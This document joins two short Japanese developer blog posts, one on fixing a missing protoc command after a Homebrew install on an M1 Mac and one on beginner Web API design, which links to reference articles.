c を C にする

OK?
Mac（m1)でProtoc (Protocol buffer）をインストールしたけど見つからなくて困った話

gRPCを試してみたくて、protocl buffer (protoc）をインストールの仕方を調べてみたけどスムーズにいかなかったのでメモ

### 環境
M1 mac (pro)

### やったこと

まずはprotocol bufferをインストール
```
brew install protobuf
```

インストール成功（してるっぽい）
> 🍺  /opt/homebrew/Cellar/protobuf/24.3: 395 files, 13.2MB
==> Running `brew cleanup protobuf`...
Disable this behaviour by setting HOMEBREW_NO_INSTALL_CLEANUP.
Hide these hints with HOMEBREW_NO_ENV_HINTS (see `man brew`).
==> Caveats
==> protobuf
Emacs Lisp files have been installed to:
  /opt/homebrew/share/emacs/site-lisp/protobuf

確認
```
protoc --version
```

みつからない・・・
> $ protoc                 
zsh: command not found: protoc

brew linkで設定

```
brew link protbuf  
```

みつからない・・・
> $ protoc                 
zsh: command not found: protoc


今度は --overwriteしてみる
```
brew link --overwrite protobuf
```
みつかった！

> $ protoc --version 
libprotoc 24.3


### まとめ

結果的には解決できました。
なんでこうなるのか誰か教えてください。
【初心者向け】はじめてのWebアプリケーション開発 設計 API設計

## はじめに

　Webアプリケーション開発のAPI設計で私が行ったことについてまとめます。
　私は、設計の中ではAPIの設計に一番時間がかかりました。

## APIとは何か
　アプリケーションを開発したことがない方は、そもそもAPIとは何か、で躓くと思います。私も開発のために勉強するまで、きちんと理解できていませんでした。
　以下の参考記事がとても分かりやすかったです。

参考記事
・[APIがわからない方向けに、具体例付きでわかりやすく解説！【実際にプログラミング】](https://webpia.jp/application_programming_interface/)

## API設計の流れ
 以下の流れで作業しました。
1. APIについて調べる
1. 設計する

## 実施した作業
設計はstoplight studioを用いて実施しました。
簡単にyaml形式で設計ができるので、おすすめです。
https://stoplight.io/solutions

## まとめ
APIについて解説をじっくり読むよりも、簡単に目を通して実際に作ってみる方が理解が進むと感じました。



・[API設計の基本原則・手順](https://springhack.com/api%E8%A8%AD%E8%A8%88%E3%81%AE%E5%9F%BA%E6%9C%AC%E3%83%BB%E6%89%8B%E6%B3%95/)
・[Web API 設計入門](https://zenn.dev/nakaryo/articles/87b15866d67efe)
・[SPA開発におけるWeb API設計入門（エンドポイント編）](https://www.hypertextcandy.com/web-api-url-design-primer?fbclid=IwAR25F7EBfI7VsjyH--2v-oGo8oFCXcPCmpyNndmv0nL8mEGUgT1nAI6U2DE)
・[[RESTful API]パスパラメータ、クエリパラメータ、リクエストボディの違いと設計](https://qiita.com/Shokorep/items/b7697a146cbb1c3e9f0b)